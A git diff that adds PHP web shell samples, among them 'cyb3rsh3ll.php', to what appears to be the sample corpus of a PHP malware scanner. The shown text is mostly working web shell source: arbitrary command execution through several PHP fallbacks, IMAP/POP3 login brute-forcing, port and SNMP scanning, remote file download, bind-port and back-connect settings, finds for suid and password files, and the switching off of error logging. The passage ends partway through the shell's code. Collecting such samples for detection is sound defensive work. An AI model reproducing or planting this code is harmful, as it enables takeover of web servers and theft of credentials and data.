+ access. ");
+ }
+ echo "";
+ }
+
+ if(isset($_GET['file']))
+{
+rsg_read();
+}
+
+ ?>
+
+
+
+ function rsg_glob()
+{
+$chemin=$_GET['directory'];
+$files = glob("$chemin*");
+echo "Trying To List Folder
$chemin ";
+foreach ($files as $filename) {
+ echo "
";
+ echo "$filename\n";
+ echo " ";
+}
+}
+
+if(isset($_GET['directory']))
+{
+rsg_glob();
+}
+
+?>
+
+
+
+
+
+
+ Php Safe-Mode Bypass (List Directories):
+
+ Dir: eg: /etc/
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/php-malware-finder/samples/classic/cyb3rsh3ll.php b/php-malware-finder/samples/classic/cyb3rsh3ll.php
new file mode 100644
index 0000000..4f4612b
--- /dev/null
+++ b/php-malware-finder/samples/classic/cyb3rsh3ll.php
@@ -0,0 +1,7923 @@
+$v) {
+ if (strtoupper($k) != "GLOBALS") {
+ strips($arr["$k"]);
+ }
+ }
+ } else {
+ $arr = stripslashes($arr);
+ }
+ }
+ }
+ strips($GLOBALS);
+}
+
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+if (!empty($unset_surl)) {setcookie("cyb3r_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("cyb3r_surl",$surl);}
+else {$surl = $_REQUEST["cyb3r_surl"]; //Set this cookie for manual SURL
+
+}
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+if ($surl_autofill_include and !$_REQUEST["cyb3r_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+
+if (empty($surl))
+{ $surl = "?".$includestr; }//Self url
+$surl = htmlspecialchars($surl);
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+
+$welcome = "(: Welcome to the most advanced PHP Web Shell - cyb3r sh3ll :)";
+//DON'T FORGOT ABOUT PASSWORD!!!
+
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$gzipencode = False; //Encode with gzip?
+
+$ax4 ="http://";
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+
+$donated_html = "Owned by cyb3r.gladiat0r ";
+$release = @php_uname('r');
+$kernel = @php_uname('s');
+$expltlink='http://www.exploit-db.com/search/?action=search&filter_exploit_text=';
+if( strpos('Linux', $kernel) !== false )
+ $expltlink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
+else
+ $expltlink .= urlencode( $kernel . ' ' . substr($release,0,3) );
+
+/* If you publish free shell and you wish add link to your site or any other information, put here your html. */
+
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+
+$curdir = "./"; //start folder
+
+//$curdir = getenv("DOCUMENT_ROOT");
+$curdir = getcwd();
+$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
+
+$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
+
+
+$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
+
+$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
+
+if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0;
+function imaplogiN($host,$username,$password){
+$sock=fsockopen($host,143,$n,$s,5);
+$b=namE();
+$l=strlen($b);
+if(!$sock)return -1;
+fread($sock,1024);
+fputs($sock,"$b LOGIN $username $password\r\n");
+$res=fgets($sock,$l+4);
+if ($res == "$b OK")return 1;else return 0;
+fclose($sock);
+}
+function pop3logiN($server,$user,$pass){
+$sock=fsockopen($server,110,$en,$es,5);
+if(!$sock)return -1;
+fread($sock,1024);
+fwrite($sock,"user $user\n");
+$r=fgets($sock);
+if($r{0}=='-')return 0;
+fwrite($sock,"pass $pass\n");
+$r=fgets($sock);
+fclose($sock);
+if($r{0}=='+')return 1;
+return 0;
+}
+function check_urL($url,$method,$search,$timeout){
+if(empty($search))$search='200';
+$u=parse_url($url);
+$method=strtoupper($method);
+$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
+$data=(!empty($u['query']))?$u['query']:'';
+if(!empty($data))$data="?$data";
+$sock=@fsockopen($host,80,$en,$es,$timeout);
+if($sock){
+fputs($sock,"$method $file$data HTTP/1.0\r\n");
+fputs($sock,"Host: $host\r\n");
+if($method=='GET')fputs($sock,"\r\n");
+elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
+else return 0;
+if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;}
+while(!feof($sock)){
+$res=trim(fgets($sock));
+if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
+}
+fclose($sock);
+}
+return 0;
+}
+function snmpchecK($ip,$com,$timeout){
+$res=0;
+$n=chr(0x00);
+$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)).
+$com. chr(0xA0).
+chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n.
+chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C).
+chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01).
+chr(0x01). chr(0x01). $n. chr(0x05). $n;
+$sock=@fsockopen("udp://$ip",161);
+socket_set_timeout($sock,$timeout);
+@fputs($sock,$packet);
+socket_set_timeout($sock,$timeout);
+$res=fgets($sock);
+fclose($sock);
+return $res;
+}
+function checkthisporT($ip,$port,$timeout,$type=0){
+if(!$type){
+$scan=@fsockopen($ip,$port,$n,$s,$timeout);
+if($scan){fclose($scan);return 1;}
+}
+elseif(function_exists('socket_set_timeout')){
+$scan=@fsockopen("udp://".$ip,$port);
+if($scan){
+socket_set_timeout($scan,$timeout);
+@fwrite($scan,"\x00");
+$s=time();
+fread($scan,1);
+if((time()-$s)>=$timeout){fclose($scan);return 1;}
+}
+}
+return 0;
+}
+function get_sw_namE($host,$timeout){
+$sock=@fsockopen($host,80,$en,$es,$timeout);
+if($sock){
+$page=namE().namE();
+fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
+while(!feof($sock)){
+$con=fgets($sock);
+if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
+}
+fclose($sock);
+return -1;
+}return 0;
+}
+function getDisabledFunctions(){
+ if(!ini_get('disable_functions'))
+ {
+ echo "None";
+ }
+ else
+ {
+ echo @ini_get('disable_functions');
+ }
+}
+function showsizE($size){
+if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
+elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
+elseif ($size>=1024)$size = round(($size/1024),2)." KB";
+else $size .= " B";
+return $size;
+}
+function whereistmP(){
+$uploadtmp=ini_get('upload_tmp_dir');
+$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
+if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
+if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
+if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
+if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
+if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
+return ".";
+}
+function downloadiT($get,$put){
+$fo=@strtolower(ini_get('allow_url_fopen'));
+if($fo || $fo=='on')$con=file_get_contents($get);
+else{
+$u=parse_url($get);
+$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
+$url=fsockopen($host, 80, $en, $es, 12);
+fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
+$tmp=$con='';
+while($tmp!="\r\n")$tmp=fgets($url);
+while(!feof($url))$con.=fgets($url);
+}
+$mk=file_put_contents($put,$con);
+if($mk)return 1;
+return 0;
+}
+function flusheR(){
+flush();@ob_flush();
+}
+function namE(){
+$name='';
+srand((double)microtime()*100000);
+for ($i=0;$i<=rand(3,10);$i++){
+$name.=chr(rand(97,122));
+}
+return $name;
+}
+function hlinK($str=""){
+$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','sec','cP','mV','rN','deL');
+$ret=$_SERVER['PHP_SELF']."?";
+$new=explode("&",$str);
+foreach ($_GET as $key => $v){
+$add=1;
+foreach($new as $m){
+$el = explode("=", $m);
+if ($el[0]==$key)$add=0;
+}
+if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
+}
+$ret.=$str;
+return $ret;
+}
+function shelL($command){
+global $windows,$disablefunctions;
+$exec = '';$output= '';
+$dep[]=array('pipe','r');$dep[]=array('pipe','w');
+if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
+elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
+elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
+elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
+elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
+elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
+elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
+return $exec;
+}
+// Registered file-types.
+// array(
+// "{action1}"=>array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext4","ext5","ext6",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+// Registered executable file-types.
+// array(
+// string "command{i}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+// {command}: %f% = filename
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+/* Highlighted files.
+ array(
+ i=>array({regexp},{type},{opentag},{closetag},{break})
+ ...
+ )
+ string {regexp} - regular exp.
+ int {type}:
+0 - files and folders (as default),
+1 - files only, 2 - folders only
+ string {opentag} - open html-tag, e.g. "" (default)
+ string {closetag} - close html-tag, e.g. " " (default)
+ bool {break} - if TRUE and found match then break
+*/
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
+ // array (i=>{letter} ...); string {letter} - letter of a drive
+//$safemode_diskettes = range("a","z");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+$cx7 =".com";
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+$bindport_pass = "cyb3r"; // default password for binding
+$bindport_port = "31373"; // default port for binding
+$bc_port = "31373"; // default port for back-connect
+$cx4 ="/x.";
+$datapipe_localport = "8081"; // default port for datapipe
+// Command-aliases
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+$sess_cookie = "cyb3rvars"; // Cookie-variable name
+$usefsbuff = TRUE; //Buffer-function
+$px7 ="html";
+$copy_unset = FALSE; //Remove copied files from buffer after pasting
+//Quick launch
+$quicklaunch = array(
+ array(" ",$surl),
+ array(" ","#\" onclick=\"history.back(1)"),
+ array(" ","#\" onclick=\"history.go(1)"),
+ array(" ",$surl."act=ls&d=%upd&sort=%sort"),
+ array(" ",""),
+ array(" ",$surl."act=search&d=%d"),
+ array(" ",$surl."act=fsbuff&d=%d"),
+ array("Encoder ",$surl."act=encoder&d=%d"),
+ array("Shell ",$surl."act=shells&d=%d"),
+ array("Cracker ",$surl."act=cracker&d=%d"),
+ array("Scanner ",$surl."act=scanner&d=%d"),
+ array("Net Tools ",$surl."act=nettools&d=%d"),
+ array("SQL ",$surl."act=sql&d=%d"),
+ array("PHP-code ",$surl."act=phpcode&d=%d"),
+ array("Mailer ",$surl."act=mailer&d=%d"), //update this section copy from b3t4k shell hardeep
+ array("DOS ",$surl."act=dos&d=%d"), //update this section copy from b3t4k shell hardeep
+ array("Local Domain ",$surl."act=localdomain&d=%d"), //update this section copy from b3t4k shell hardeep
+ array("Upload ",$surl."act=upload&d=%d"),
+ array("About ",$surl."act=about&d=%d"), //update this section copy from b3t4k shell hardeep
+ );
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["cyb3rcook"]);
+//END CONFIGURATION
+// -------------- Traceback Functions
+function sendLoginAlert()
+{
+ global $ownerEmail;
+ global $url;
+ $ref=$_SERVER['HTTP_REFERER'];
+ $agent=$_SERVER['HTTP_USER_AGENT'];
+ $accesedIp = $_SERVER['REMOTE_ADDR'];
+ $randomInt = rand(0,1000000); # to avoid id blocking
+ $from = "cyb3r-sh3ll$randomInt@cyb3r.gladiat0r.com";
+ //echo $from;
+ if(function_exists('mail'))
+ {
+ $subject = "Shell Accessed -- cyb3r-Sh3ll --";
+ $message = "
+Hey Owner ,
+
+ Your Shell(cyb3r-Sh3ll) located at $url was accessed by $accesedIp this mail refered by $ref
+ Your shell was accesed by $agent
+
+ If its not you :-
+
+ 1. Please check if the shell is secured.
+ 2. Change your user name and Password.
+ 3. Check if lock is 0n!
+
+ Thanking You
+
+Yours Faithfully
+cyb3r Sh3ll
+ ";
+ mail($ownerEmail,$subject,$message,'From:'.$from);
+ }
+}
+
+//---------------------------------------------------------
+if(function_exists('session_start') && $lock == 'on')
+{
+ session_start();
+}
+else
+{
+ // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
+ $lock = 'off';
+}
+
+//logout
+if(isset($_GET['logout']) && $lock == 'on')
+{
+ $_SESSION['authenticated'] = 0;
+ session_destroy();
+ header("location: ".$_SERVER['PHP_SELF']);
+}
+
+/***************** Restoring *******************************/
+ini_restore("safe_mode_include_dir");
+ini_restore("safe_mode_exec_dir");
+ini_restore("disable_functions");
+ini_restore("allow_url_fopen");
+ini_restore("safe_mode");
+ini_restore("open_basedir");
+if(function_exists('ini_set'))
+{
+ ini_set('error_log',NULL); // No alarming logs
+ ini_set('log_errors',0); // No logging of errors
+ ini_set('file_uploads',1); // Enable file uploads
+ ini_set('allow_url_fopen',1); // allow url fopen
+}
+
+else
+{
+ ini_alter('error_log',NULL);
+ ini_alter('log_errors',0);
+ ini_alter('file_uploads',1);
+ ini_alter('allow_url_fopen',1);
+}
+// ----------------------------------------------------------------------------------------------------------------
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("cyb3r sh3ll : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+?>
+
+
+cyb3r sh3ll | India -
+
+
+
+
+
+
+
+ Lock is Switched Off! , The shell can be accessed by anyone!
+
+
+Welcome to the most advanced PHP web Shell- cyb 3r Sh3ll :: By cyb3r gl4d!470r ...
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Coded by cyb3r 9ladiat0r for all hacking communities working for my motherland.......
+
+ Always there to serve my country, My India on any Terms...
+
+
+
+
+
+$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+
+ sort($sess_data["copy"]);
+
+ sort($sess_data["cut"]);
+
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+
+}
+
+}
+
+cyb3r_buff_prepare();
+
+if (!function_exists("cyb3r_sess_put"))
+
+{
+
+function cyb3r_sess_put($data)
+
+{
+
+ global $sess_cookie;
+
+ global $sess_data;
+
+ cyb3r_buff_prepare();
+
+ $sess_data = $data;
+
+ $data = serialize($data);
+
+ setcookie($sess_cookie,$data);
+
+}
+
+}
+
+foreach (array("sort","sql_sort") as $v)
+
+{
+
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+
+}
+
+if ($sort_save)
+
+{
+
+ if (!empty($sort)) {setcookie("sort",$sort);}
+
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+
+}
+
+if (!function_exists("str2mini"))
+
+{
+
+function str2mini($content,$len)
+
+{
+
+ if (strlen($content) > $len)
+
+ {
+
+ $len = ceil($len/2) - 2;
+
+ return substr($content, 0,$len)."...".substr($content,-$len);
+
+ }
+
+ else {return $content;}
+
+}
+
+}
+
+if (!function_exists("view_size"))
+
+{
+
+function view_size($size)
+
+{
+
+ if (!is_numeric($size)) {return FALSE;}
+
+ else
+
+ {
+
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+
+ else {$size = $size . " B";}
+
+ return $size;
+
+ }
+
+}
+
+}
+
+if (!function_exists("fs_copy_dir"))
+
+{
+
+function fs_copy_dir($d,$t)
+
+{
+
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+
+ $h = opendir($d);
+
+ while (($o = readdir($h)) !== FALSE)
+
+ {
+
+ if (($o != ".") and ($o != ".."))
+
+ {
+
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+
+ if (!$ret) {return $ret;}
+
+ }
+
+ }
+
+ closedir($h);
+
+ return TRUE;
+
+}
+
+}
+
+if (!function_exists("fs_copy_obj"))
+
+{
+
+function fs_copy_obj($d,$t)
+
+{
+
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+
+ if (is_dir($d))
+
+ {
+
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+
+ return fs_copy_dir($d,$t);
+
+ }
+
+ elseif (is_file($d)) {return copy($d,$t);}
+
+ else {return FALSE;}
+
+}
+
+}
+
+if (!function_exists("fs_move_dir"))
+
+{
+
+function fs_move_dir($d,$t)
+
+{
+
+ $h = opendir($d);
+
+ if (!is_dir($t)) {mkdir($t);}
+
+ while (($o = readdir($h)) !== FALSE)
+
+ {
+
+ if (($o != ".") and ($o != ".."))
+
+ {
+
+ $ret = TRUE;
+
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+
+ if (!$ret) {return $ret;}
+
+ }
+
+ }
+
+ closedir($h);
+
+ return TRUE;
+
+}
+
+}
+
+if (!function_exists("fs_move_obj"))
+
+{
+
+function fs_move_obj($d,$t)
+
+{
+
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+
+ if (is_dir($d))
+
+ {
+
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+
+ return fs_move_dir($d,$t);
+
+ }
+
+ elseif (is_file($d))
+
+ {
+
+ if(copy($d,$t)) {return unlink($d);}
+
+ else {unlink($t); return FALSE;}
+
+ }
+
+ else {return FALSE;}
+
+}
+
+}
+
+if (!function_exists("fs_rmdir"))
+
+{
+
+function fs_rmdir($d)
+
+{
+
+ $h = opendir($d);
+
+ while (($o = readdir($h)) !== FALSE)
+
+ {
+
+ if (($o != ".") and ($o != ".."))
+
+ {
+
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+
+ }
+
+ }
+
+ closedir($h);
+
+ rmdir($d);
+
+ return !is_dir($d);
+
+}
+
+}
+
+if (!function_exists("fs_rmobj"))
+
+{
+
+function fs_rmobj($o)
+
+{
+
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+
+ if (is_dir($o))
+
+ {
+
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+
+ return fs_rmdir($o);
+
+ }
+
+ elseif (is_file($o)) {return unlink($o);}
+
+ else {return FALSE;}
+
+}
+
+}
+
+if (!function_exists("myshellexec"))
+
+{
+
+function myshellexec($cmd)
+
+{
+
+ global $disablefunc;
+
+ $result = "";
+
+ if (!empty($cmd))
+
+ {
+
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+
+ elseif (($result = `$cmd`) !== FALSE) {}
+
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+
+ elseif (is_resource($fp = popen($cmd,"r")))
+
+ {
+
+ $result = "";
+
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+
+ pclose($fp);
+
+ }
+
+ }
+
+ return $result;
+
+}
+
+}
+
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+
+if (!function_exists("view_perms"))
+
+{
+
+function view_perms($mode)
+
+{
+
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+
+ else {$type = "?";}
+
+
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+
+ $owner["write"] = ($mode & 00200)?"w":"-";
+
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+
+ $group["read"] = ($mode & 00040)?"r":"-";
+
+ $group["write"] = ($mode & 00020)?"w":"-";
+
+ $group["execute"] = ($mode & 00010)?"x":"-";
+
+ $world["read"] = ($mode & 00004)?"r":"-";
+
+ $world["write"] = ($mode & 00002)? "w":"-";
+
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+
+}
+
+}
+
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+
+if (!function_exists("parse_perms"))
+
+{
+
+function parse_perms($mode)
+
+{
+
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+
+ else {$t = "?";}
+
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+
+}
+
+}
+
+if (!function_exists("parsesort"))
+
+{
+
+function parsesort($sort)
+
+{
+
+ $one = intval($sort);
+
+ $second = substr($sort,-1);
+
+ if ($second != "d") {$second = "a";}
+
+ return array($one,$second);
+
+}
+
+}
+
+if (!function_exists("view_perms_color"))
+
+{
+
+function view_perms_color($o)
+
+{
+
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+
+ else {return "".view_perms(fileperms($o))." ";}
+
+}
+
+}
+
+if (!function_exists("cyb3rgetsource"))
+
+{
+
+function cyb3rgetsource($fn)
+
+{
+
+ global $cyb3r_sourcesurl;
+
+ $array = array(
+
+ "cyb3r_bindport.pl" => "cyb3r_bindport_pl.txt",
+
+ "cyb3r_bindport.c" => "cyb3r_bindport_c.txt",
+
+ "cyb3r_backconn.pl" => "cyb3r_backconn_pl.txt",
+
+ "cyb3r_backconn.c" => "cyb3r_backconn_c.txt",
+
+ "cyb3r_datapipe.pl" => "cyb3r_datapipe_pl.txt",
+
+ "cyb3r_datapipe.c" => "cyb3r_datapipe_c.txt",
+
+ );
+
+}
+
+}
+
